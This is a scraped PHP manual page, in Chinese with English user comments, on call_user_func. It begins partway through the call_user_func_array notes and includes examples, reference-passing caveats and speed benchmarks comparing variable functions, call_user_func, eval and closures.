And you can't call this wrong, only another subtly of references.

Note it appears that ksort($a) will remove the reference as well as put the elements in key order so you (probably) get what you expect. (see below on the use of a foreach ($a as &v).)
aeolianmeson at 8n54tvv dot blitzeclipse dot com 27-May-2008 08:48
There's a possibility that call_user_func_array(), call_user_func(), and Exception::getTrace() will cause a trace entry to not have the 'file' or 'line' elements.

Dustin Oprea
richard_harrison at rjharrison dot org 11-Apr-2007 02:31
If you are thinking of using call_user_func_array to instantiate an object (see comments below using Reflection) then since v5.1.3 you can use the Reflection::newInstanceArgs() method.

<?php

// arguments you wish to pass to constructor of new object
$args = array('a', 'b');

// class name of new object
$className = 'myCommand';

// make a reflection object
$reflectionObj = new ReflectionClass($className);

// use Reflection to create a new instance, using the $args
$command = $reflectionObj->newInstanceArgs($args);

// this is the same as: new myCommand('a', 'b');
?>
levi at alliancesoftware dot com dot au 08-Feb-2007 02:50
Regarding the comments below about calling parent constructors:

PHP5 with E_STRICT no longer allows calls as below:

<?php
// Causes an error with E_STRICT
call_user_func_array(array('parent', '__construct'), $args);
?>

It gives an error because you are trying to call a nonstatic function as if it was static. The correct syntax is

<?php
// Works fine
call_user_func_array(array($this, 'parent::__construct'), $args);
?>
15-May-2006 02:43
For those wishing to implement call-by-name functionality in PHP, such as implemented e.g. in DB apis, here's a quick-n-dirty version for PHP 5 and up
<?php
/**
 * Call a user function using named instead of positional parameters.
 * If some of the named parameters are not present in the original function, they
 * will be silently discarded.
 * Does no special processing for call-by-ref functions...
 * @param string $function name of function to be called
 * @param array $params array containing parameters to be passed to the function using their name (ie array key)
 */
function call_user_func_named($function, $params)
{
    // make sure we do not throw exception if function not found: raise error instead...
    // (oh boy, we do like php 4 better than 5, don't we...)
    if (!function_exists($function))
    {
        trigger_error('call to unexisting function '.$function, E_USER_ERROR);
        return NULL;
    }
    $reflect = new ReflectionFunction($function);
    $real_params = array();
    foreach ($reflect->getParameters() as $i => $param)
    {
        $pname = $param->getName();
        if ($param->isPassedByReference())
        {
            /// @todo shall we raise some warning?
        }
        if (array_key_exists($pname, $params))
        {
            $real_params[] = $params[$pname];
        }
        else if ($param->isDefaultValueAvailable()) {
            $real_params[] = $param->getDefaultValue();
        }
        else
        {
            // missing required parameter: mark an error and exit
            //return new Exception('call to '.$function.' missing parameter nr. '.$i+1);
            trigger_error(sprintf('call to %s missing parameter nr. %d', $function, $i+1), E_USER_ERROR);
            return NULL;
        }
    }
    return call_user_func_array($function, $real_params);
}
?>
eugene at artprime dot ru 23-Dec-2005 02:59
<?php
  return call_user_func_array(
    array(new ReflectionClass($className), 'newInstance'),
    $functionParameters
  );
?>

Look here: http://www.zend.com/zend/week/week182.php#Heading1
crocodile2u at yandex dot ru 20-Dec-2005 05:06
Here is another version of createObjArray() function written here earlier by taylor.

Believing that using 'eval()' is at least "dirty", I came to the following solution (with a help of panchous - at phpclub dot ru forums ). This solution utilizes the new Reflection API.

<?php
function & createObjArray($type, $args = array()) {
    $reflection = new ReflectionClass($type);
    $output     = call_user_func_array(array(&$reflection, 'newInstance'), $args);
    return $output;
}
?>
Egor 15-Nov-2005 09:35
Note that, despite the name, this does work on builtin functions (and object methods with the array(&$obj, $method) syntax), not just user-defined functions and methods.
rrant (at) gmail (dot) com 10-Nov-2005 03:50
Just an extra for the post of amer at o2 dot pl:

If you need to call the PARENT method:
call_user_func_array(array('parent', 'method'), $args);

With that, if you need to call a constructor and/or add some extra code to the instantiation process:

<?php
function __construct() {
    // Get the arguments
    $args = func_get_args();
    // Initialize parent with arguments
    call_user_func_array(array('parent', '__construct'), $args);
    // ... Your Code Here ...
}
?>

Note that your constructor pass all the arguments to the parent constructor and it doesn't matter how many arguments you pass.

This is pretty useful for constructors with a variable number of arguments.
taylor 02-Jun-2005 05:51
I came up with a better solution to the problem that I solve below with createObjArray that maintains parameter type:

<?php

function createObjArray($type,$args=array()) {
     $paramstr = '';
     for ($i = 0; $i < count($args); $i++) {
           $paramstr .= '$args['.$i.'],';
     }
     $paramstr = rtrim($paramstr,',');

     return eval("return new $type($paramstr);");
}

?>

Would be good to add error checking, but it works.
amer at o2 dot pl 20-Jan-2005 02:44
PLS notice that "patripaq at hotmail dot com" 's code will be valid if B EXTENDS A...
<?php
class B extends A{
...
}
?>
there>>"What I wanted to do is create an object that can manage any number and any kind of parameters."

BUT IT IS NOT A POINT AT ALL

If you need to call just function with parameters:
call_user_func_array('Foo',$args);

If you need to call CLASS method (NOT object):
call_user_func_array(array('class', 'Foo'),$args);

If you need to call OBJECT method:
call_user_func_array(array(&$Object, 'Foo'),$args);

If you need to call method of object of object:
call_user_func_array(array(&$Object->Object, 'Foo'),$args);

If you need to call object method from within the very same object (NOT CLASS!):
call_user_func_array(array(&$this, 'Foo'),args);

The call_user_func_array ITSELF can manage any number and any kind of parameters. It can handle ANY FUNCTION too as it is defined and that maybe partipaq wanted to manage.

What You actually need is object composition not inheritance. Make an instance from arguments.
<?php
...
class B{
   function __construct() {
      $args = func_get_args(); // Get arguments
      $this->OBJ = new A($args);
      call_user_func_array(array(&$this->OBJ, 'A'), $args );
   }
}
?>
Then there can be any number and any type of created object B parameters
james at gogo dot co dot nz 21-Nov-2004 05:19
Be aware the call_user_func_array always returns by value, as demonstrated here...

<?php
    function &foo(&$a)
    {
      return $a;
    }

    $b = 2;
    $c =& call_user_func_array('foo', array(&$b));
    $c++;
    echo $b . ' ' . $c;
?>

outputs "2 3", rather than the expected "3 3".

Here is a function you can use in place of call_user_func_array which returns a reference to the result of the function call.

<?php
    function &ref_call_user_func_array($callable, $args)
    {
        if(is_scalar($callable))
        {
            // $callable is the name of a function
            $call = $callable;
        }
        else
        {
            if(is_object($callable[0]))
            {
                // $callable is an object and a method name
                $call = "\$callable[0]->{$callable[1]}";
            }
            else
            {
                // $callable is a class name and a static method
                $call = "{$callable[0]}::{$callable[1]}";
            }
        }

        // Note because the keys in $args might be strings
        // we do this in a slightly round about way.
        $argumentString = array();
        $argumentKeys = array_keys($args);
        foreach($argumentKeys as $argK)
        {
            $argumentString[] = "\$args[$argumentKeys[$argK]]";
        }
        $argumentString = implode($argumentString, ', ');
        // Note also that eval doesn't return references, so we
        // work around it in this way...
        eval("\$result =& {$call}({$argumentString});");
        return $result;
    }
?>
hong dot nguyen at k-edge dot com 02-Apr-2004 09:37
call_user_func_array can pass parameters as reference:

<?php
call_user_func_array(array(&$obj,$method),array(&$arg1,$arg2,$arg3))
?>

Use it as work-around for "Call-time pass-by-reference has been deprecated".
adamh at densi dot com 31-Jul-2003 11:58
call_user_func_array() is nifty for calling PHP functions which use variable argument length. For example:

<?php
$array = array(
 array("foo", "bar"),
 array("bat", "rat"),
);

$values = call_user_func_array("array_merge", $array);

var_dump($values);
?>

/* output:
array(4) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "bat"
  [3]=>
  string(3) "rat"
}
*/

The neat feature is that $array could have any number of arrays inside it.


把第一个参数作为回调函数调用

  • ? call_user_func_array
  • create_function ?
  • PHP Manual
  • 函数处理 函数
  • 把第一个参数作为回调函数调用

call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func — 把第一个参数作为回调函数调用

说明

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数。

参数

callback

将被调用的回调函数（callable）。

parameter

0个或以上的参数，被传入回调函数。

Note:

请注意，传入call_user_func()的参数不能为引用传递。

Example #1 call_user_func() 的参考例子

<?php
error_reporting(E_ALL);
function increment(&$var)
{
    $var++;
}

$a = 0;
call_user_func('increment', $a);
echo $a."\n";

call_user_func_array('increment', array(&$a)); // You can use this instead before PHP 5.3
echo $a."\n";
?>

以上例程会输出：

0
1

返回值

返回回调函数的返回值。

更新日志

版本 | 说明
5.3.0 | 对面向对象里面的关键字的解析有所增强。在此之前，使用两个冒号来连接一个类和里面的一个方法，把它作为参数来作为回调函数的话，将会发出一个E_STRICT的警告，因为这个传入的参数被视为静态方法。

范例

Example #2 call_user_func() 的例子

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

以上例程会输出：

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

Example #3 call_user_func() 命名空间的使用

<?php

namespace Foobar;

class Foo {
    static public function test() {
        print "Hello world!\n";
    }
}

call_user_func(__NAMESPACE__ .'\Foo::test'); // As of PHP 5.3.0
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0

?>

以上例程会输出：

Hello world!
Hello world!

Example #4 用call_user_func()来调用一个类里面的方法

<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

以上例程会输出：

Hello!
Hello!
Hello!

Example #5 把完整的函数作为回调传入call_user_func()

<?php
call_user_func(function($arg) { print "[$arg]\n"; }, 'test'); /* As of PHP 5.3.0 */
?>

以上例程会输出：

[test]

注释

Note:

在函数中注册有多个回调内容时(如使用 call_user_func() 与 call_user_func_array())，如在前一个回调中有未捕获的异常，其后的将不再被调用。

参见

  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • is_callable() - 检测参数是否为合法的可调用结构
  • callback 类型的信息
  • ReflectionFunction::invoke() - Invokes function
  • ReflectionMethod::invoke() - Invoke

User Contributed Notes

luciano_closs at hotmail dot com 13-Dec-2018 11:42
Actually, as PHP 7.0, when you want to call a static method, you must call:

<?php

namespace Foobar;

class Foo {
   static public some() {
      echo 'Hello World!';
   }
}

call_user_func( array( __NAMESPACE__ . '\\Foo', 'some' ) );

?>

This will output:

Hello World!
slinstj at gmail dot com 09-May-2018 02:00
Updating "insta at citiesunlimited dot com"'s benchmarking for PHP 7.1.17 we have an INVERSION of results between using variables and call_user_func():

// RESULTS

Variable functions took 0.0020599365234375 seconds.
call_user_func took 0.00094509124755859 seconds.
eval took 0.024421215057373 seconds.

So, call_user_func() is now actually the way to go in PHP 7.1+.

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
fab2s at marsatak dot org 02-Mar-2017 12:35
@insta at citiesunlimited dot com & @Maresa

call_user_func() alleged slowness is quite over estimated when it comes to real use cases. we are talking about loosing fraction of a second every million calls, which by the way would take less than half a sec to execute in the worst case.

I don't know of many processes that would actually suffer from this kind of overhead.

Iterations: 100 000
Averaged over: 10
PHP 5.6.30 (cli) (built: Jan 18 2017 19:47:28)
Overall Average
+------------------------+----------+-----------+--------+
| Invocation             | Time (s) | Delta (s) | %      |
+------------------------+----------+-----------+--------+
| directFunction         | 0.0089   | -0.0211   | -70.19 |
| directStatic           | 0.0098   | -0.0202   | -67.39 |
| directLambda           | 0.0109   | -0.0191   | -63.52 |
| directInstance         | 0.0116   | -0.0184   | -61.31 |
| directClosure          | 0.0150   | -0.0150   | -50.15 |
| Invoke                 | 0.0282   | -0.0018   | -6.13  |
| call_user_func         | 0.0300   |           |        |
| ClosureFactory         | 0.0316   | +0.0016   | +5.20  |
| assignedClosureFactory | 0.0328   | +0.0028   | +9.28  |
| call_user_func_array   | 0.0399   | +0.0099   | +33.02 |
| InvokeCallUserFunc     | 0.0418   | +0.0118   | +39.17 |
| directImplementation   | 0.0475   | +0.0175   | +58.28 |
+------------------------+----------+-----------+--------+

Iterations: 100 000
Averaged over: 10
PHP 7.1.2 (cli) (built: Feb 14 2017 21:24:45)
Overall Average
+------------------------+----------+-----------+--------+
| Invocation             | Time (s) | Delta (s) | %      |
+------------------------+----------+-----------+--------+
| directFunction         | 0.0043   | -0.0096   | -68.92 |
| directStatic           | 0.0050   | -0.0089   | -64.04 |
| directInstance         | 0.0058   | -0.0081   | -58.22 |
| directLambda           | 0.0063   | -0.0075   | -54.44 |
| directClosure          | 0.0081   | -0.0058   | -41.57 |
| call_user_func         | 0.0139   |           |        |
| call_user_func_array   | 0.0147   | +0.0008   | +5.84  |
| Invoke                 | 0.0187   | +0.0048   | +34.61 |
| ClosureFactory         | 0.0207   | +0.0069   | +49.43 |
| assignedClosureFactory | 0.0219   | +0.0080   | +57.75 |
| directImplementation   | 0.0232   | +0.0094   | +67.53 |
| InvokeCallUserFunc     | 0.0264   | +0.0126   | +90.67 |
+------------------------+----------+-----------+--------+

If you want more details : https://github.com/fab2s/call_user_func
fab2s at marsatak dot org 02-Mar-2017 12:18
The "Example #1 call_user_func() example and references" has become misleading since it will throw an exception starting from at least php 5.6.30:
<?php
//  Parameter 1 to increment() expected to be a reference, value given
?>

The crash occurs when call_user_func() is called as it does not provide increment() with a reference.

Also note that :

<?php
call_user_func('increment', &$a);
?>

will also  throw an exception :
<?php
// Call-time pass-by-reference has been removed
?>
developer at nabtron dot com 28-Dec-2016 11:30
We can achieve the same dynamically without call_user_func like this

<?php

class myclass {
    public function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

$myobject = new myclass();
$var = "say_hello";

(new myclass)->{$var}();
call_user_func(array(new myclass(), $var));
jcastro at eftec dot cl 07-Jun-2016 09:29
Lets say that $a1 is an object and fn is a function then:

echo $a1->fn('hello world');
echo $a1->{"fn"}('hello world');
echo call_user_func(array($a1, 'fn'),'hello world');

Are three valid ways to do the same.
Jordan LeDoux 05-Aug-2015 09:24
I re-ran the test insta outlined 9 years ago to see how things had changed.

Variable functions took 0.014201879501343 seconds.
call_user_func took 0.044676065444946 seconds.
eval took 0.17955899238586 seconds.

As expected, eval() is slowes by a wide margin, and variable functions are fastest. However, 9 years ago there weren't closures, and so I added them to the test for comparison.

closures took 0.012146949768066 seconds.

As you can see, closures ended up being the fastest, but all of these have experienced improvements. I also increased the number of loops per test to 50,000 from 5,000. This was tested with PHP 5.5.9 on Ubuntu LTS.

The original test code was:

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 50000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 50000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 50000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>

Here is the closures addition.

<?php

$funa = function() { return 1; };
$funb = function() { return 1; };
$func = function() { return 1; };

$time = microtime( true );
for ($i = 50000; $i--; ) {
    $x = 0;
    $x += $funa();
    $x += $funb();
    $x += $func();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "closures took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
dexen dot devries at gmail dot com 04-Nov-2011 05:00
In PHP v5.2, you /can/ use call_user_func(array($this, 'parent::SOME_FUNCTION')).

If you don't have custom __autoload() function, you are good to go.

If you do have custom __autoload(), you need to make it `parent' aware. Something like:

<?php
function __autoload($classname) {
  if ($classname === 'parent')
    return;
  else
    //((load class definition))
}
?>

Rationale: PHP 5.2 surprisingly tries to autoload a class named `parent'. However, if you don't do anything in __autoload() for the `parent' class, it'll work just fine.
blakerenton09 at yahoo dot com 06-Jun-2011 04:45
call_user_func may also be used to call a closure or anonymous function that has been passed into a user-defined function.

<?php
function Benchmark()
{
    foreach(func_get_args() as $function)
    {
        $st = microtime(true);
        call_user_func($function);
        $et = microtime(true);
        echo sprintf("Time: %f", $et - $st) . '<br />';
    }
}

Benchmark(function()
{
    for ( $i = 0; $i <= 10000; $i++ )
    { }
},
function()
{
    $i = 0;
    while ( $i <= 10000 )
    {
        $i++;
    }
});
?>

Returns:
Time: 0.001652
Time: 0.001458
romainbessuges at gmail dot com 09-May-2011 05:50
I made a wrapper for call_user_func_array which is really simple and convenient. It takes advantage of the __invoke() magic method :

<?php
class Func {

    public static function fromFunction($name){
        return new Func($name);
    }

    public static function fromClassMethod($class, $name){
        return new Func(array($class, $name));
    }

    public static function fromObjectMethod($object, $name){
        return new Func(array($object, $name));
    }

    public $function;

    public function  __construct($function) {
        $this->function = $function;
    }

    public function __invoke(){
        return call_user_func_array($this->function, func_get_args());
    }
}
?>

Example :

<?php
$func = Func::fromObjectMethod($myArrayObject, "offsetGet");

echo $func(3);
?>
gskluzacek dot nospam at gmail dot com 11-Sep-2010 10:38
if you simply want to dynamically call a method on an object it is not necessary to use call_user_function but instead you can do the following:

<?php

$method_name = "AMethodName";

$obj = new ClassName();

$obj->{$method_name}();

?>

I've used the above so I know it works.

Regards,
-- Greg
moisadoru at gmail dot com 13-May-2010 08:49
Actually, when calling a static method of some class, the params are sent by reference:
<?php
class Foo {
    private $x = 0;
    public function getX(){
        return $this->x;
    }
    public function setX($val){
        $this->x = $val;
    }
}

class Bar {
    static function incStatic(Foo $f){
        $f->setX($f->getX()+1);
        global $foo;
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
    public function incNonStatic(Foo $f){
        $f->setX($f->getX()+1);
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
}

function inc(Foo $f){
    $f->setX($f->getX()+1);
    if($f === $foo) echo '<span style="color: blue">' . __FUNCTION__ . '() objects are equal</span><br />';
    else  echo '<span style="color: red">' . __FUNCTION__ . '() objects are not equal</span><br />';
}

$foo = new Foo;
$bar = new Bar;

call_user_func('inc', $foo);
call_user_func('Bar::incStatic', $foo);
call_user_func(array($bar, 'incNonStatic'), $foo);
?>

The results on PHP 5.2.6 (macosx 10.5):

inc() objects are not equal
Bar::incStatic() objects are equal
Bar::incNonStatic() objects are not equal

Hope it helps sombody.
Nitrogen 04-Oct-2009 04:08
A good use for call_user_func(); is for recursive functions.
If you're distributing code, you will often come across users who will rename functions and break the code..
Use this: call_user_func(__FUNCTION__, ... ); inside a function to call itself with whatever parameters you want.

<?php
// example, an extremely simplified factorial calculator..
// it's quite obvious when someone renames the function, it'll spit out an error because it wants to call itself.
function Factorial($i=1) {
  return($i==1?1:$i*Factorial($i-1));
}

// you can give this function whatever name you want, it'll always work, of course if you initially call it using the name you gave it.
function qwertyuiop($i=1) {
  return($i==1?1:$i*call_user_func(__FUNCTION__,$i-1));
}
?>

Just that I didn't see any reference to recursive functions when user_call_func(); really helps.
edgar dot klerks at gmail dot com 17-Mar-2009 07:18
An entirely OO solution to add dynamicly methods to classes, I used in a project:
<?php
class ProductPart {

        protected $data;
        protected $plugins = array();
        function __construct($data){

                $this->data = $data;

        }
        public function register(ProductPlugin $plugin){

                if(!in_array($plugin, $this->plugins)){

                        $this->plugins[$plugin->toString()] = $plugin;
                } else {
                        throw new Exception('Function allready defined');
                }
        }
        public function unregister(ProductPlugin $plugin){
                if(isset($this->plugins[$plugin->toString()])){
                        unset($this->plugins[$plugin->toString()]);
                } else {
                        throw new Exception('No such function');
                }

        }

        protected function __call($method, $args) {
              if(isset($this->plugins[$method])){
                array_unshift(&$args, $this->data);
                array_unshift(&$args, $this);
                return $this->plugins[$method]->run($args[0], $args[1], $args[2]);

              } else {
                throw new Exception('No such function');
              }
        }
} ?>

I simplified the class somewhat for clearity.

With this class, you can dynamicly add and remove classes by calling register or unregister. Register will store the object in an associative array by calling toString (as defined by ProductPlugin) and saving the method under the returned string in the array. (In this case the name of the method the class adds.)

When a method is called, which isn't standard in the object, _call will lookup the called method in the array. If found, __call run the method of the plugin with the provided arguments. I restricted the user provided argument to 1, because I want to force the user to use associative arrays.

Because I chose an array to store my classes, removing a function is quite simple. However the unregister function isn't optimal, I better pass a string instead of a plugin object. I didn't test it yet on performance.

The ProductPlugin class:

<?php

abstract class ProductPlugin {
        protected $name = null;
        abstract public function run($obj, $data, $args);
        public function __construct($data = null) {

                if($this->name === null){
                        throw new Exception('Name must be defined');
                }
                $this->init($data);
        }
        protected function init($data){

        }
        public function toString(){
                return $this->name;
        }
}

?>

And at last some demonstration code:

<?php
$bla = new ProductPart(array('HelloWorld' => 'Hello world'));
$hello = new helloPlugin();
$bla->register($hello);
$bla->HelloWorld();
$bla->unregister($hello);
$bla->HelloWorld();

?>
dead,screamer@seznam,cz 21-Dec-2008 08:50
<?php call_user_func()?> and <?php call_user_func_array()?> hide some errors (notices, warnings and maybe errors), even if is display_errors turned on and error_Reporting is set to E_ALL|E_STRICT
Maxdamantus 03-Nov-2007 10:26
Note that the parser can interpret variables in function syntax, which means you can pass all variables normally (eg: reference).

<?php
function myfunction($string, &$int){
    echo $string."\n";
    $int++;
}
$function_name = "myfunction";
$x = 1336;
$function_name("Hello World", $x);
echo $x;
?>
---
Hello World
1337
Knightnet 07-Sep-2007 05:31
You don't need to use this function to call a variable class function. Instead you can do the following:

$this->{$fnname}();

The example works in PHP 5 from within the class. It is the {} that do the trick.

Regards,
Julian.
lsblsb at gmx dot de 29-Jun-2007 04:55
referring to Mr.KTO (and Bug #24931):
[system: PHP 5.2.0-8] - _doesnt_ pass by reference, at least when using the old syntax with the '&'.

when you pass your object by reference using call_user_func, any changes made on that object within the called function wont effect your "original" object.

you should use mixed call_user_func_array ( callback $function, array $param_arr ) instead or eval() (slower).
Mr.KTO 14-Jun-2007 07:39
To send an object to your function by link, using call_user_func it's not enough (in php4) to define func(&$obj) { ... }

You need: call_user_func("callback", &$myobj)

(in php5 objects are sending by link as default)
jaimz at vertigolabs dot org 27-Oct-2006 10:40
replay to bkfake-php at yahoo dot com's comment:

that's not passing by referance, your explicitly setting the value of $testy's member variable, infact, if you take the & out of your outsidefunc() it still works...
bkfake-php at yahoo dot com 26-Oct-2006 10:18
I have found a case where the parameters ARE passed by reference

class test
{
    function test()
    {
        $this->passme = '';
        call_user_func('outsidefunc',$this);
        // $this->passme is now 'not empty'
        // with 5.1.2
        // not so with php 4.3.10...
    }
}

function outsidefunc(&$testy)
{
     $testy->passme = 'not empty';
}
$test = new test();
echo 'passme = '.$test->passme;
Typer85 at gmail dot com 12-Sep-2006 03:57
I would just like to say at first that I prefer variable function calls over the use of this function.

However I found that at some times, the use of this function is needed in situtations where variable function calls can not be used. And in those same situations, the use of this function is also better than using eval.

The situation I ran into is this:

I wanted to call object methods dynamically from within the object but with arguments given for possible parameters that the method I will call requires.

The parameters themselves are dynamic, meaning I have no prior knowledge of how many their are, their values, or if they even exist.

Also because object methods are dynamic, meaning I have no prior knowledge which object method will actually be called, I can not simply use variable function calls, call the method and pass any parameters.

So what I simply do is call the object method with an array of parameters, something that, to the best of my knowledge, can not be done with variable function calls, since variable function calls, even though they themeselves are dynamic, passing parameters to them is not.
watchout at no dot spam dot please 29-Aug-2006 06:05
> This particular case will not work. The user functions can only be successfully called (as the documentation alludes to), with static calls to class functions.

actually it *does* work on PHP 5.0.2 (tested), and should also work on PHP 4.3.x (untested). Also the documentation does not state that only calls to static class methods are possible, but it says clearly that calls to OBJECT (thats dynamic) methods are possible: http://cz.php.net/manual/en/language.pseudo-types.php (see under type callback)
rlansky at webroot dot com 14-Jul-2006 04:17
Based on the previous posts, it appears that using call_user_func can be serveral times slower than using variable substitution. I think these results are somewhat misleading.

I set up a similar test in which a static method of an object was called repeatedly in a loop. I got similar results to those seen; when calling the method using call_user_func the execution was twice that of calling the method directly. However, I then started adding some "meat" to the method in question. In my case, I found that what was constant was not the percentage change, but rather that there is a fixed cost to using call_user_func.

In my case, this fixed cost was 2 microseconds per call. When executing a method that performs no operations, this is a large percentage of the execution time for that method. However, when using this on a method that actually performs some work, the 2 microsecond cost is almost impossible to measure.

It seems to me that if you want to use call_user_func to call a very fast executing method, and you need to do this thousands of times, then you may want to reconsider. However, if you are using this to call methods that are not executed thousands of times, the small fixed cost of using php call_user_func is probably not an issue.
Maresa 13-Apr-2006 03:41
I tested the same code that insta at citiesunlimited dot com pasted on the following machines:

www1 machine:
OS:  FreeBSD 5.2.1-RELEASE
CPU: 2 x Intel(R) Xeon(TM) CPU 2.66GHz (2657.82-MHz 686-class CPU) with Hyperthreading
MEM: 1073217536 (1023 MB)
PHP 5.1.2 (cli)
PHP 4.4.1 (Web)

www2 machine:
OS:  Linux version 2.6.14-gentoo-r5 Gentoo 3.4.3-r1, ssp-3.4.3-0, pie-8.7.7)
CPU: 2 x Dual Core AMD Opteron(tm) Processor 265 stepping 02 1808.357 MHz
MEM: 2060388k total
PHP 5.1.2 (cli)
PHP Version 4.4.0-pl1-gentoo (web)

dev machine:
OS:  Linux version 2.6.15-gentoo-r1 Gentoo 3.3.5.20050130-r1, ssp-3.3.5.20050130-1, pie-8.7.7.1
CPU: Intel(R) Pentium(R) 4 CPU 2.00GHz stepping 04
MEM: 516384k total,
PHP 4.4.0-pl1-gentoo (cli)
PHP Version 4.4.0-pl1-gentoo (web)

The result are as follows:

www1 - CLI
Variable functions took 0.012186050415 seconds.
call_user_func took 0.0300550460815 seconds.
eval took 0.17235994339 seconds.

www1 - Web
Variable functions took 0.017616 seconds.
call_user_func took 0.034926 seconds.
eval took 0.149618 seconds

www2 - CLI
Variable functions took 0.0065491199493408 seconds.
call_user_func took 0.019452095031738 seconds.
eval took 0.10734891891479 seconds.

www2 - Web
Variable functions took 0.01565 seconds.
call_user_func took 0.02613 seconds.
eval took 0.132258 seconds.

dev - CLI
Variable functions took 0.025176 seconds.
call_user_func took 0.047402 seconds.
eval took 0.168196 seconds.

dev - Web
Variable functions took 0.025465 seconds.
call_user_func took 0.049713 seconds.
eval took 0.20154 seconds.

On www1 - CLI, eval is about 14 times slower than calling function by using variable.
On www1 - Web, eval is about 8.5 times slower (hmm interesting. Perhaps PHP4 is faster calculating eval than PHP5)

On www2 - CLI, eval is about 16 times slower than calling function by using variable.
On www2 - Web, eval is about 8.5 times slower (about same result as www1)

On dev - CLI, eval is about 6.6 times slower than calling function by using variable.
On dev - Web, eval is about 8 times slower (about same result as www1)

On the dev machine, CLI and web version of PHP is the same. and their speed difference between calling function using variable or eval does not differ that much compare to PHP5 VS PHP5
insta at citiesunlimited dot com 06-Feb-2006 12:15
I benchmarked the comparison in speed between variable functions, call_user_func, and eval.  My results are below:

Variable functions took 0.125958204269 seconds.
call_user_func took 0.485446929932 seconds.
eval took 2.78526711464 seconds.

This was run on a Compaq Proliant server, 180MHz Pentium Pro 256MB RAM.  Code is as follows:

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
Marco 05-Oct-2005 01:42
>phil at gettcomm dot com
>22-May-2002 04:51
>if you need to get a reference back from a method, you can work around
>call_user_func()'s shortcomings like this:
>
Naaa! Having back a reference is a real problem, but it can be solved by mean of eval(), instead of using call_user_func:

<?php
  class Node {
    var $name;
    var $child;
    function Node ( $name ) { $this->name = $name; }
    function &getChild () { return $this->child; }
  }
  $p = new Node ( 'Father' );
  $c = new Node ( 'Child' );
  $p->child = &$c;

  eval ( "\\$cref = &\\$p->getChild ();" );
  $cref->name = 'Another Child';

  // Prints out 'Another Child'
  echo "****** After eval c = " . $c->name . "\\n\\n";

?>
php at REMOVEMEkennel17 dot co dot uk 09-Aug-2005 08:46
re comment by mw at lanfear dot com

I am using PHP 4.3.2 and that technique works fine here as well.
mw at lanfear dot com 26-Jul-2005 01:49
This function is actually quite useful for calling static methods on classes, which you CANNOT call as:

$v1 = 'MyClass';
$m1 = 'method';
$v1::$m1();           // syntax error -- not permitted.

